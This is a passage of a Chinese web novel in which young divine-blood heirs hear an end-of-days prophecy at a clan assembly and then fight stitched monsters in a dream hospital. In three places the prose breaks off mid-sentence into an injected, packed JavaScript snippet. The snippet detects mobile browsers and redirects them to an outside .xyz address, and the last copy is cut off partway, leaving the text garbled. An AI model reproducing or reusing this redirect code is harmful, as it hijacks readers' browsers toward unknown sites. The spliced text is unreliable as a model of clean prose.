“哈?两个月亮?”一张长满可爱雀斑像是巧克力蛋糕上糖霜装饰的脸突然在眼前放大,风枫伸出一只手,柔软地抵在她的额头上,“是上次的梦造成的心理阴影吗?” “不是。”夏烛斩钉截铁,头一歪重新倒回一团乱糟糟的被子中。 “不要再睡了!给俺起来!” 她们昨晚和姬无愁约好了,在睡好觉吃过早餐再一起去三九峰。风枫拖着夏烛下楼的时候,背影单薄又板直的姬无愁早就坐在大厅中等待了。 五个人快速吃完饭,哼哧哼哧地上了山,山里的晨雾正在被阳光消融,年一过就是春天了。 最重要的一天,其余两峰停止一切活动,所有神血家族的人都汇集在三九峰上的建木壳中。 实际上夏烛还没睡醒,她立在人群中,像一根呆板的木头,机械地跟在风枫身后进场。人声嘈杂,闹哄哄地变成一层薄膜笼在耳边。 她们穿过树洞进入建木内部,场上的摆设基本没变像昨天一样,只是那八把严肃的交椅上已经坐好了六个中年女人,空出来了两个位置。 “这边这边!!”原本走在前面的风枫不知道什么时候消失了,这会儿正站在离吴姖天门最近的一排座位前,朝夏烛和姬无愁招手,河东狮吼穿过层层叠叠的人头,在空旷的树洞中回响。 所有人都朝她们看过来,身边的姬无愁脸一红,快速低下头去。 “来了来了。”夏烛踮起脚也朝风枫挥手,“好位置,我们快去吧。”她转过头来轻声对着姬无愁说。 五个人前前后后坐好,会议入场就差不多接近尾声了,场上依旧空着两把交椅。 “那是苗蛮集团家主的位置,她们几乎不参加九天大会。”风枫和夏烛交头接耳。 “那最边上坐着的是阿姨吗?”距离虽然远,但她也能勉强认出六人之中有一位长得十分像风叶。 “是老妈的虚影啦,她也不爱参加这类活动,每次就搞个人形立牌一样往那一坐,面带微笑走个过场,所以俺也不去参加神策数量评选嘛,没意义。”太少了,没意义,风枫不以为然,没有悬念的结局何必上去,还给了仇家又一次嘲笑的理由。 场上逐渐安静下来,夏烛在其间看见了很多熟悉的面孔,包括姜欲燃和姜下晴,正坐在她们斜对面的位置上小声交谈着什么,而遥远的位置上一头醒目白发的少年对着这边微微点头。来参会的除了各家的家主,其余都是些年纪轻轻的少年,似乎没有见过年龄比较大的不明官。 “好多人。”夏烛忍不住感叹,像是学校周一开升旗大会,她原本以为不明官是少数团体。 “是啊,别看一共只有八个家族,十年百年,子子孙孙无穷尽也。”风枫摇头晃脑。 彻底安静后时间也临近正午,阳光透过高窗最大限度地照进会堂。 年纪和风叶差不多,而面容严肃的女人从交椅上站了起来,往前几步,站定在众人面前。 她穿了一身浅色的便装,上衣下裤,简单利落,没有因为会议的盛大而同样盛装出席,但依旧气场强大。微微扬起头颅朝高窗外看了一眼,没有任何情绪的冷淡瞳孔在年轻小辈间巡视。 夏烛发现她的右眼中似乎没有符钰,两只眼睛都是正常的颜色。 “你知道姬家人在现世是做什么的吗?”风枫神神秘秘地凑到夏烛耳边,眼睛里闪着八卦之光。夏烛往右边看了一眼正经危坐的姬无愁,一副两耳不闻窗外事的表情。 “做什么的?”她配合到。 “姬朝山…”风枫指了指台上的女人,“听说是一位超级厉害的律师…她要求自己的族人必须进入人类社会学习知识,也必须拥有自己的职业,这一点,俺还挺佩服她的…”说完又摆正身体坐回原位。 夏烛点点头,姬朝山作为濮阳姬家的现任家主,要上前宣布会议正式开始。 她没有使用类似话筒的工具,声音却清晰地传到在场的每一个人耳朵里。 “太多的废话也不用讲,这一届的九天大会从现在起正式开始。” “现在请各家族不明官代表有序上前,由吴姖天门投放天生相石兑换神策,所得神策放于本家家主位前的天秤之上。” “濮阳姬家,家主姬朝山,谨以颛顼的名义,确保绝对的公平公正。” 说完她抬手一挥,六把交椅面前各自升起了一座比烛台高大一些的台面,大概就是她口中的天秤。 姬朝山回到自己的座椅上坐好。人群中开始出现动静,从各个方向上场了五个人。其中包括她们认识的姜欲燃和姬罗池。 兑换仪式井然有序的进行,现场一片寂静,只有偶尔穿来石头滑进井水和管道里呼呼的声音。 “还真是漫长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15958005|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”风枫往后一靠,意思是,她们手里的天生相石还真是多啊。 姬罗池排在姜欲燃后面,看她在吴姖天门旁磨磨蹭蹭的忍不住抱怨到。 “能不能快一点!”姬罗池抱着手臂一脸不耐烦。 “别急嘛,小姬。”姜欲燃把兑换完的神策统统塞进一个小布包中,她撩了撩头发,朝台下某个位置看去,然后在众目睽睽之下抬手比了个耶,笑容无比灿烂,露出一口大白牙。 十分安静的场上突兀地响起按下快门的声音,台下的姜下晴放下手机对姜欲燃竖起大拇指。 “拍拍拍,又拍!每年都拍你不嫌烦啊!” 每年兑换神策的仪式上,姜下晴都会给姜欲燃拍一张照片。 “你也想跟我合照一张吗?”姜欲燃腆着脸凑上去,被姬罗池一巴掌拍开。 “才不要!让开!明年我一定排你前边。” 木纹地面上的阳光缓缓移动,夏烛有点紧张地抓着自己的衣角,生怕场上会发生类似自己昨天遇到的意外。她既紧张意外发生,又紧张意外没有发生。 发生了说明这件事本身就有问题,到时候各家族顺藤摸瓜说不定会把同样出错的夏烛给揪出来。而没有发生更是让人害怕,所有不明官中,只有她一个遇到了类似的情况。 兑换仪式终于结束了,五位不明官代表将神策装在设有特殊禁制的精致小布包中,一一放置于各家主面前的小台面上。 五只绣有不同图腾的布包在一众人期盼的目光下发出不同代表色的光芒。一阵短暂的嗡鸣后,属于黄帝姬家的家主交椅亮了起来,场下随即响起一阵欢呼声,大概集中在某一个方向,夏烛抬眼朝那边看了一眼,白色的脑袋安安静静地呆在其中。 坐在夏烛后面的女生激动地一拍大腿:“我就知道!明年得给这群人看看,九天大会就得在我们姬家轩辕丘那样的地方举行,而不是…”她抬头环顾了一下树洞内部,“而不是这种简陋的枯壳里!” 姬朝山再次站了出来,她抬手示意肃静,然后宣布下一届的九天大会将在崆峒轩辕丘举行。即使有姬朝山压场,宣布结果后看台上又再次爆发了一阵小型的喧闹。 “好了,接下来是…”接下来的环节原本是表彰和反思大会,姬朝山还没发话,从场下突然窜出一个形容潦倒的男人,他跌跌撞撞地跑到姬朝山身边,覆在她耳旁说了句什么,夏烛看到姬朝山脸色突变,迅速转身看向其他五位家主。 事情变化的突然,场上众人还没有反应过来,天雷滚滚从头顶倾泻而下,原本还是响晴勃日的天空突然阴沉下来,像是时针被迅速拨到十小时之后,暗夜刹那降临。 “发生什么事了?” 气氛变得紧张起来,大家都不明白天色为何突变,家主们竟然也终止了会议,开始在台前脸色不妙地讨论起来。 夏烛敏锐地闻到了一股腥气,是暴雨前的征兆,她有种不好的预感,像是将有什么大事发生,春雨如酥,不会如此来势汹汹。不自觉地把手伸进了衣兜里,那里还存放着写着”你好“二字的神策。 “刚刚那个男人是谁?”虽然事发突然,但是训练有素的不明官们在短暂的无措之后,发现了事态转变的关键。 身边传来悉悉簌簌的讨论声,像是不安分的课堂。 夏烛听到有人轻声在一旁说道:“那个男人是姬家的学者。” 说话的人是姬无愁。 “学者?”风枫也听到了,她趴到夏烛腿上,探出脑袋试图听清姬无愁的话。 “没错,他是个残体,没有丝毫冰雪寒流的能力,为了证明自己的价值留在姬家,几十年来都将心血花费在了…”她顿了顿。 “花费在了翻译神策研究神语上。” 52.预言 “所以…”风眠也听到了姬无愁的话,他皱起眉头望了一眼台上六位家主的身影,”是神策出了问题吗?” 风眠的话团成一团塞进了夏烛的喉咙,她觉得嗓子痒痒的,试图用吞咽的动作缓和,却连带着胃也开始不舒服,有一种想要呕吐的错觉。 说实话她的人生很少有过这么紧张的时候,除了对于某个大考的恐惧之外。 神策会出什么问题呢? 她紧紧盯着台上的六人,风叶果然只有一个投影在场,依旧无动于衷的坐在交椅上面带着微笑,没有参与其余人神色不安的讨论。 台下的年轻人们在短暂的慌乱中镇定下来,只是和同伴低声讨论,同时等待着家主们的下一步指令。 时间似乎在沉重的气氛中流逝得十分缓慢,慢到夏烛发懵的大脑判断自己可能是睡着了,她从沉寂中猛然清醒,台上只有姬朝山还站在那里。 “我不得不在此宣布一个令人感到不安的消息。”她的语气比一月份刚刚化冻的雪水还要冰冷。 “即使你们仍然是一群青春年少的孩子。” “但能够坐在这里的,都不是只会因为感到恐惧而哭闹的人,你们是所谓的天才,精英,家族的希望,所以,是时候承担起自己身上的职责了。” “族中的学者于神策之上解析出一条关于末日的预言。” 她的话一出,场上众人再不能维持镇定的表象,夏烛甚至听到有人不可置信的发出疑问,质疑“末日”这种虚无缥缈的言论如何轻易的从一族之主口中说出。 “搞什么?这是今年九天大会新增的项目吗?目的就是为了考察我们的临场反应?别逗了,很中二好不好!” “末日,那我们是不是得回村屯货了?” 显然,大多数人都没有认为这是一件很严肃的事情,毕竟就连所谓的学者都是一个没有任何相力的残体,虽然她们作为神血后人而存在本身就已经很离奇了,但是这其中有很大一部分人只是偶尔参与到入梦除魉的事情当中,绝大多数的时间里,她们仍然生活在正常的人类社会,作为一个真正的人活在这个世界上。 末日?俗套的剧情,天之骄子们甚至想象不到会因为什么原因造成末日?她们的人生是两个极端,魍魉梦中生杀予夺,现实世界按部就班。这样大的差异造成了这些年轻的不明官们根本没有危机意识。 “没有这么简单。”但风眠不这么认为,“一族之长不会轻易因为一个学者的片面之词就公开宣布末日预言的,没有必要因为一个没头没尾,捕风捉影的言辞就搞得人心惶惶。” “她们一定早就发现了什么。” “所以现在不得不公之于众了。” 夏烛认可风眠的说法,这种事情不太可能当作玩笑在九天大会上宣布。 “安静。”姬朝山打断了众人议论纷纷。 “所谓预言,是因为神策翻译过来,只有几个字。” “魍魉出妖神乱,而天地变色。” “魍魉出?”讨论声再起,“是指魍魉从梦里逃到人类世界的意思吗?” 有人在耳边叽叽喳喳地解读这句话的含义。 而夏烛只觉得头晕,上臂有一处隐隐作痛,她的眼前忽然闪过一张焦黑的人脸,粉色的蜡和皮肉接合在一起。 它说:“这里好热,带我出去。” 那个从梦里出来后,留在自己手臂上的黑色手印。 “阿烛,阿烛,你怎么了?”风枫轻轻拍着夏烛的后背,她的脸色看上去实在不算好。 太阳穴胀痛,胃部反酸抽搐,但她还是摇摇头,“我没事。” “阿烛,魍魉出,妖神乱。你还记得山魈吗?” 山魈?蓝脸独踵,盗御马。 夏烛紧咬着牙关不让自己在这里就吐出来。 手印,山魈。 从那个时候预言就在一步步变成现实吗? 她只觉得暗处有什么隐藏线索,像造成整个程序无法运作的一个关键代码,一切似乎从她突然做梦就开始偏离轨道了,难道她独自进入第一个梦的时候,就有魍魉趁机逃出吗? “嬴惑。”夏烛听到身边有人提到这个名字,她头晕的现象忽然缓和了许多。 “‘嬴惑,就是他,他手底下有那么多没有归于某个部族的妖神,那些妖神都只属于他个人。” “我就知道,放置不管,总有一天一定会出大乱子的。” 驺吾和讙,夏烛想起嬴犽说过,那个人喜爱收养妖神。 但,是他吗?这么大的祸事有他的一份功劳? 不知道为什么,夏烛总觉得胆小惜命如嬴惑不会冒险做出如此严重的事。 就像为了印证预言的真实性,脚下的地面忽然一阵晃动,所有人都听到了那种让人不寒而栗的声音。 就像是什么原本牢固的东西正在崩塌分裂,刺耳的噪音穿透鼓膜。 “是那边!”有人站了起来指向远处的某个方向。 坚实如建木,就算只留一个枯死的外壳也能在风吹雨打中安然度过千万年。 可是现在,这个世界上最牢固的存在于众目睽睽下出现了一条巨大的裂缝。 裂缝自上而下,源头仿佛来自天界。 台上的姬朝山怔怔地盯着头顶的裂缝,原本冷淡的眼神中出现了一丝茫然,似乎短暂地陷进了回忆里。 “这个地方也许不再安全了。”姬朝山低沉着声音,宣布本次九天大会到此结束。 仓促的结束。 “预言不存在具体的期限时间,现在也,无法拿出绝对的证据,各家族自行处理应对。” “不明官近期入梦需万分小心,一旦发现魍魉出逃,现世有妖神作乱,就地诛杀。”她说到此处顿了顿,再次环视这群年轻的面孔。 “希望大家能确保自身安全的同时,尽力维护普通人类,” 随着姬朝山的离开,九天大会落幕,气氛与开始之前天差地别,凝重到似乎空气都要压人一头。众人纷纷离场,三九峰上的追风道入口站满了人,还有许多是和好友互相道别的,大家从天南地北而来,为了神血家族的盛会齐聚于此,现在九天大会草草结束,又到了分别的时候 夏烛走出树洞的时候正好看见姜欲燃握着姜下晴的手,嬉皮笑脸地不知道说了什么,姜下晴罕见地勾起嘴角。然后她松开了好朋友的手,往前走进了狂风之中,对着姜下晴的方向大弧度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15964437|172863||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地挥着手臂,眼睛亮晶晶的就和她额头上的日轮抹额一样耀眼。 随着神策化烬,她的身影也消失在了风里。 人群逐渐稀疏,再没有熟悉的脸。 风枫和夏烛她们打算立刻启程回风家传达这个消息。风叶没有到场,就说明风家的人很有可能还不知道末日的预言,这个空窗期对于不善战斗的风家来说十分危险。 她们在三九峰上和姬无愁暂时告别,彼此留下了联系方式,约好了下一次一起进梦,如果一切都正常进行,没有意外的话。 四人连忙下山回睡好觉收拾行李,匆匆整理一番,打开门后却又再次见到了背着小包的姬无愁。 她垂着头快要低到尘土里了,用微不可闻的声音小心翼翼地问她们。 “我可以,和你们一起吗。” “我不知道,该去哪里。” “如果可以的话,我保证不添麻烦。” 风枫愣了一秒,随即扑了上去将姬无愁的脑袋揉进怀里。 “说什么呢小愁!未命名队伍1抓紧出发!” 于是五人再次重组,退房的时候风枫又在前台和姬桃互掐了一会儿,薅走她一大堆零嘴互相别扭地挥挥手,又快速登上最矮的清苦峰,通过追风道秒回了天孙山,和来的时候一模一样。 只是清苦峰上冷冷清清,野花恹恹地开在草地里,已经不见任何一个摊位集市了。 一路行色匆匆争分夺秒,直到踏上了东山的土地,风枫和风眠才算得以喘息。 又回到了熟悉的山下招待所,几人打算还是在这里休息一晚。折腾了一路,那种刚刚得知危机来临时的慌乱已经消除了大半,风枫甚至有闲心拉上夏烛和姬无愁去了景区里的夜市,逛逛吃吃。 她们最后选在一家挂着红色灯笼的粉店,树底下支了张小桌子,叫上嬴犽和风眠一起吃晚餐。开春,雪已经不再下,只是夜晚空气依旧冷冽,在冒着温暖热气的地摊旁嗦上一碗香香的粉,和身边稀稀拉拉的普通游客坐在一起,所有应该和不应该担心的通通抛到脑后。 大事来临之前忙里偷来的闲最为舒适。 红色的暖光晃在大家的脸上,五官都染上了一些懒散的意味,几个人有一搭没一搭地聊着。夏烛偶尔盯着锅炉上方慢慢腾空最后消散的热气发呆,将手伸进口袋里摩挲那两张特殊的神策。 日月山上的一切,快得像一场梦。 只有储物冰球里的小剑,口袋里质地奇特的神策以及身边沉默的姬无愁,提醒着她那些事情真实发生过。 通常身处环境的快速变化就是会让人产生恍惚感,所以交通工具的发明可谓是人类掌握的一种空间置换的秘术。 能够瞬间带走一切人和事,只把梦一样的感觉留给自己,像一只不知足的猫儿在饱餐一顿之后,仍旧咂巴着嘴。 灯火通明,山中起了雾气,脚下的青砖变得潮湿,倒映出影影绰绰的流光,人来人往,都会踩碎一次倒影。 夏烛盯着那些来往的各式各样的鞋发呆,忽然眼睛一眨抬起头来又什么都没有。 “对了。”风眠靠在一旁懒懒地半眯着眼睛,“有没有人想去梦里看看?” 在预言之后。 53.圈(一) 慢慢睁开眼睛,房间内的光线很暗淡,应该只有天花板上有一盏顶光,照出微弱的圆形范围。当嗅觉恢复的时候,能即刻闻到一种消毒水的味道,顺着鼻腔滑进胃部,灼烧出淡淡的酸味。 夏烛应该是背靠着柔软的枕头,她尝试动了动脚,粗糙的纹理磨着脚后跟的皮肤。她尽量快速地分析出周围的环境,毕竟熟悉的死寂让她意识到了这次也许又是独自一人在某个空间中醒来。 突然,她的视网膜收缩颤动了一下。惨淡的光线中,对面不远的另一张病床上,坐着一个突兀的人。 他长腿悠闲地交叠在一起,呈现出与夏烛的紧绷完全不同的懒散姿势,靠在床头上,尽管五官在过于昏暗的光线中模糊不清,但那种欠揍的神色还是让夏烛感到熟悉的头疼。 “好巧。”男人轻飘飘地开口。 “你怎么在这里?”她原本想问“你又跟踪我”,但这句话明显有自作多情的意味,所以夏烛抿起嘴角换了种说法。 “你总是有这么多问题吗?” 夏烛没有说话。 “好吧,不过我劝你想问的问题还是赶紧开口得好,以免过几分钟…”嬴惑说话的语调总是带着几分戏谑的轻佻,按理说,这种语气原本应该让人十分讨厌才对。 “过几分钟,然后呢?”夏烛接着问,但对方显然已经不想回答。 两个人像同一间病房的病友一般,面对着面躺在床上,沉默让周围的一切都显得不真实。 夏烛转动着头,环视了一圈,发现除了她和赢惑身下,这个房间内还有另外几张病床。 空床。 风枫和姬无愁她们并不在这里。 由于光线的原因,以上都是她在识别出大致轮廓后得出的结论。夏烛原本想要下床走动看看,但是目光瞥到对面一动不动的男人,不知出于何种原因,她也选择继续按兵不动。 甚至放松了背部肌肉,让脊椎一节节完全靠在软枕上。 这里大概是间医院。 医院。 不是特别美妙的苏醒地点。 她的脑袋里短暂地闪过一些剧情设置在医院的恐怖片画面。 忽然,房间里唯一的灯在几次闪烁后彻底熄灭,没有理由,也许是求生的本能,夏烛屏住了呼吸。 黑暗中,她听到了某种奇怪的动静,一下又一下,带着和谐的规律像是有人在脚上包了布条后踩在地面上的声音,细微的响动被有意的隔绝。 如果真是她想象的那样,那暗处一定不止有一个这样的人。 脚步声从四面八方涌来,窒息感要从眼眶漫出,房间内像有密密麻麻的人在逐渐将她包裹。暴露在外的所有皮肤都被笼上了一层细密的触感,她能感觉到有东西正在靠拢。 忽然,她的脸被某种毛茸茸的质地轻轻拂过,夏烛的大脑皮层一阵皱缩,所有的毛孔瞬间炸开。她产生了一种诡异的猜想,那细微的脚步声根本不是人发出的。 而是某种长有肉垫的动物,正在房间中直立行走。 不止一只。 它们正在有目的地四处寻找任何还在呼吸的生物。 夏烛努力憋住气息,但又怕越来越响的心跳声惊动黑暗中的怪物。 在她觉得自己快要因为窒息而晕过去的时候,房间重新亮了起来。 什么都没有,嬴惑依然靠在对面的床头上,让夏烛感到莫名愤怒的是,他的样子并无不妥,甚至脸上还出现了一种刚刚睡醒后的惺忪。 但是夏烛明白自己现在看上去一定不好,也许脸色很差,嘴唇苍白,呼吸急促,总而言之就是狼狈。一种奇怪的胜负欲让她拒绝与赢惑交换眼神。 “好了,该出去看看了…”他的声音从对面的床上传来,话还没说完,夏烛就翻身踩在了地面上。 嬴惑跟在她身后,鼻腔里发出冷冷的嗤笑。 夏烛推开房间的门,一时间眼睛无法适应强烈的灯光,她使劲合上眼皮缓了缓,才重新审视房间外的环境。 门外面是一条长长的走廊,惨白的吊灯明晃晃地挂在天花板上一直延伸到尽头。走廊两侧各有一扇紧闭的房门,在这里消毒水的味道比房间内还要浓烈。 地面铺着浅到几乎发白的蓝色的地砖,倒映着头顶白炽灯的光圈看了叫人头昏。和地面相同颜色的墙体让整个空间拥有一种奇怪的清洁感。 一些卫生和病理知识科普的海报贴在走廊的两端。 果然是医院没差了。 两人来到走廊中,朝两个方向的尽头处各看了一眼。左边是走廊的拐角,往地面投出让人不安的阴影,昭示着另一面还存在有未知的空间。而右边则是大门紧闭,映着两人模糊身影的铁灰色0电梯,安全出口绿油油的人物图标就在电梯门的右下角闪烁。 一时间夏烛无法做出该往哪边走的选择。 当然她也没有寄希望于跟在身后面,像观光游客一样事不关己的赢惑。 正纠结着,身后另一侧病房的门突然被一团黑乎乎的东西撞开,由于惯性那东西破开门后直直撞到了对面的墙上,短暂的停滞让夏烛看清了那团模糊影子的真实样子。 人不人,狗不狗,总之找不到准确的语言形容。 躯体是一只被拔了毛只剩下淡粉色皱巴巴皮肤的狗,但那皮肉堆叠的颈部之上却用蹩脚的缝合线接上了一颗类似兔子尖而小的头颅,怪物身上的缝合线也异常明显,四只被重新拼接的脚掌显得怪异非常。 它支撑着墙壁双脚直立重新站了起来,用自己柔软的腹部和动物器官面对着夏烛和赢惑,身型诡异且高大,需要佝偻着背才不至于让兔头扭曲地顶到天花板,怪物张开长满细牙的嘴,发出让人牙酸的尖厉叫声朝着两人扑来。 夏烛和赢惑快速对视了一眼,竟然十分默契地朝着电梯口跑去。 眼看着就要触碰到电梯的开门键,身后的缝合怪在一记闷响后忽然惨叫一声,夏烛鬼使神差停住了脚步向后看去。 一把折叠椅似乎是从另一端的尽头飞了过来,在砸中怪物的背脊后顺势在光滑的地面上溜到了夏烛的脚边。 普普通通的折叠椅,不锈钢的骨架,黑色的布面椅背,像是某个病人家属随身携带,以便看护的时候没有多余的座位休息。 她朝走廊拐角的位置看过去,那里除了一团建筑立面产生的阴影外什么都没有。 怪物被突如其来的椅子击倒,从地上挣扎着站起来,一双长在头侧的诡异红眼充满愤怒地盯着两人,几乎滴血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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毅然决然冲出去投身战斗的夏烛,很大一部分的勇气来源是她的愈合能力带来的保障。原来刚刚的殊死搏斗,缝合怪的每一次直击命门,都有可能造成她的死亡。 夏烛忽然感到一阵后怕,但她不愿意在赢惑面前表现出来,她安慰自己,这样刚好不用费力隐藏相力。于是她用力握紧掌心再松开,强行压下那股无法抗拒的颤抖,从地上站了起来。 “啪、啪。” 安静的走廊里响起两声突兀的鼓掌。 夏烛没有理会赢惑调侃的眼神,远离地面上残破不堪的怪物尸体,径直走向了另一侧的走廊拐角处。 不出意外,这里依旧什么都没有,左侧是另外一截较短的走廊,有一些同样紧闭的房门,而右边则是黑洞洞的消防通道,楼梯像她敞开怀抱一直往下延伸。 拐角后的墙壁下停着一辆医用小推车,推车上放着一些红药水瓶,听诊器和温度计。夏烛匆匆扫了一眼,目光忽然停在了推车后的墙面上。 那里潦草的画着一片棕红色的枫叶,枫叶旁还写有“1L”的字样。 不管是枫叶还是“1L”,都向下滴垂着水痕,显然是就地取材用推车上的红药水写下的。 夏烛伸出手指在枫叶上划过,那本就潦草的标记瞬间晕开变成模糊的图样。 是刚刚写下的。 夏烛瞳孔收缩,突然想到什么,丢下身后的赢惑转身跑进了消防通道。 54.圈(二) 为了节省时间,从栏杆翻了两次很快就下到了一楼。夏烛根本没有时间去细想,墙壁上的指示也许是个陷阱。当她考虑到这一层的时候,人已经冲出了楼道。 医院的楼层结构是相似的,所以夏烛只是来到了位于一层的相同走廊。看清眼前场景的时候,她的心还是剧烈撞击在胸口,忍不住想要张开嘴巴大口喘息。 但她没有给自己惊吓过度的反应时间,指关节发出收缩的信号,握紧小剑冲了过去,为已经满脸鲜血的嬴犽挡下了怪物的一击。 这一层也有一只缝合怪。 但比她已经解决掉的那只大了不止几倍。 身躯像一团腐肉般挤在走廊中,所有的氧气似乎都被它吸了去,天花板上的白炽灯,已经在前一轮的进攻中损耗大半,光线暗淡,满地鲜血无法分清是谁的。 夏烛快速地朝墙角看了一眼,受伤的风枫正躺在风眠的怀里,她察觉到了夏烛的视线,努力抬起一只手竖起了大拇指,尽管勾起嘴角会牵扯伤口,风枫还是对她亮出了一排牙齿,笑得勉强,但又令人安心。 她收回视线,远处被暂时击退的怪物又和姬无愁缠斗了起来。而跟着她下楼的赢惑才闲庭信步地走出楼道口。 “这次得帮忙了吧。”话说出口,夏烛自己都愣住了,她不明白为什么突然对赢惑说这样一句没头没尾的话。好在后者并没有觉得稀奇,反而耸了耸肩接过了她的话头。 “勉强吧,我可是手无缚鸡之力。” 夏烛也不再理他几个纵身掠至姬无愁身边和她并肩。 “相力…”姬无愁的情况也不算好,她的胳膊也许骨折了,右手以一种奇怪的软绵绵的形态垂在身侧,另一手里只握着一把不知道从哪里得来的消防锤,见到夏烛,她吃力地想告诉她相力消失的消息。 “我知道。”夏烛快速回应了姬无愁,“没关系。”她知道没有了相力这些不明官多少会没有底气,但现在的情况已经没有时间留给她们害怕了。这只身型巨大的怪物,比三楼的那只难缠太多,否则也不会伤了风枫和嬴犽。 虽然嘴上说着没关系,但其实夏烛心里也没有多少把握,也许是平时太过于依赖愈合能力,所以每一次战斗她都是带着置之死地而后生的莽劲冲在前头。可是这一次,如果被打碎了骨头趴在地上,也许就再也爬不起来了。 那个场面有些凄惨,夏烛停止了想象。 缝合怪身形巨大,但动作并不迟钝,就连弱点更多的后背也从节节凸起的脊椎后甩出一条巨型老鼠一样的肉尾巴。夏烛想和姬无愁一前一后对它进行夹击却被它一甩尾狠狠砸到墙上。 腥气上涌,肺部一阵酸痒,夏烛不得不咳出那口淤血,好让氧气在气管内顺行。她尝试抵着墙站起来,但是胫骨传来尖锐的刺痛,人身肉长,是经不住这些怪物的折腾。 “你还真是热衷把自己搞成这副惨状。”不用回头,夏烛就知道是谁在说风凉话,只是她不确定赢惑是什么时候进入身后这间屋子的。 “我说了我是个手无缚鸡之力,的人,但是嘛,还算有点头脑。”他俯下身凑近夏烛,将手里的东西递到了她面前。 但夏烛只觉得一股绿意兜头而下,她的眼里闪过一片掩在雾气后的藤蔓植物。 没有来得及思考这股气息从何而来,她的眼光下移,在赢惑手里聚焦。 是两瓶500ml的医用酒精。 嬴惑的眼神望左侧飘了过去,夏烛顺着他的视线看向了头顶在战斗中破损而摇摇欲坠,发出滋滋电流声的吊灯。 原来如此。 她接过赢惑手里的酒精。 “不用谢,那边还有更多,需要的自取。”他拍了拍手里不存在的灰尘,往身后的房间一指,打算功成身退找个地方躲起来。 得快一点,姬无愁的动作明显慢了下来,即使是从小严格训练的姬家人,没有了相力的支撑,身体很快就达到了极限。 夏烛咬着牙扶着墙站了起来。 她把屋子内能拿得下的酒精瓶全都揣在身上了,在手里掂了掂份量,瞄准缝合怪的背影就砸了出去。 玻璃瓶碎裂,里面的酒精流了出来,虽然一个盛满酒精的玻璃瓶对怪物来说不过挠痒痒,但它的注意力还是被她吸引了过去,丢下已经无力战斗的姬无愁转身去追夏烛。 肾上腺素再次发挥作用,夏烛竟然感受不到胫骨粉碎的痛,脚下生风,和缝合怪在走廊中追逐起来。 要她说,人体内的任何一样东西都堪比神赐相力,危难之际能救她的,还是这副属于人类的躯体。 意志力。 夏烛点点头,对于这个简练的总结很是满意,耳边的风像流水一样。 边躲闪着怪物的袭击,边将手里的酒精泼洒到它身上,因为极易挥发的特性,足够多的量能在怪物周身形成一层酒精气雾。 手里最后一瓶酒精泼出,怪物彻底被激怒,它直起身体在相对于狭窄的走廊里横冲直撞起来,这样破坏性的动作正中她下怀。 天花板上的一排排吊灯剧烈摇晃,有一些甚至在碰撞之下直接断裂,由几根细细的电线吊在空中。灯丝熔断,火星像打铁花似的落下,燃烧几乎是在瞬间发生的。 缝合怪身上残留的杂毛和皮肤表层黏腻的油脂都是焚烧的催化剂,大火燃起,怪物在熊熊火焰中痛苦地惨叫。 夏烛钻出缝隙来到众人身边汇合。 “小枫。”她蹲在身上查看起风枫的伤势。 “俺没事啦,这只手有点骨折而已。”她指了指自己一直垂在怀里的伤手,偏过头去看了一眼大火中燃烧的怪物。 火光在她瞳孔里倒映。 “没事就好。”这个姿势让夏烛更清晰地感受到了小腿上的伤,她尽量让自己的声音不那么颤抖。 好在这里就是医院,有足够多的医疗资源用以疗伤。 几人都或多或少受了些损伤,除了连衣角都没有起皱的赢惑。 “不是?”风枫坐在处理台上,风眠正在帮她固定好骨折的手,而她用完好的另一只手指着倚在门边的赢惑,一脸怒不可遏的模样,“谁能告诉俺,这个混蛋为什么会在这里!” ”混蛋?你是在说我吗?”嬴惑轻蔑地勾起嘴角,用他那令人厌恶的眼神将处理室内的人一一打量,然后才慢吞吞地说:“你以为我想呆在这里?一群无知,低贱的,人。”最后一个字在他嘴里变的意味不明。 他自以为是高高在上的语气彻底激怒了风枫,不顾风眠地阻拦跳下处理台,三步走到赢惑面前恶狠狠地盯着他的眼睛。 “无知低贱?你这个自私自利,自作聪明的混蛋有什么资格说别人,别以为俺不知道你为什么狗皮膏药一样跟在俺们身后进梦。不就是末日预言一出,家族内的人都以为妖神之乱或许因你而起,所以都在孤立排挤你吧?没有同伴,没有依靠,要像只小狗一样眼巴巴地黏在别人身边,还不明白吗,当狗要有当狗的觉悟,主人没有说话哪轮得到你汪汪叫!” 风枫一连串炮弹一样的输出,打得赢惑措手不及,他像是被说中心事,脸色唰得变白,灰色的眼睛里满是不可置信。 “你!” “你什么你!俺告诉你,少皞财神爷又怎么样!有钱有什么了不起!在这里相力通通没用,你看看你这小身板,肩不能扛,手不能提,纯粹就是一个废物!连路人甲都不如!” 夏烛放下手里的绷带,和姬无愁互相处理好了伤口,两人站在门口吵得不可开交,她正想着要不要制止一下,当然,出发点是怕惊动了别的怪物。 可她还没说话,嬴惑睁着那双漂亮的眼睛忽然垂了下去,他低着头靠在门边,没来由地说了一句。 “不是因为我。” 声音轻而飘,就连面对面的风枫都没有听清。 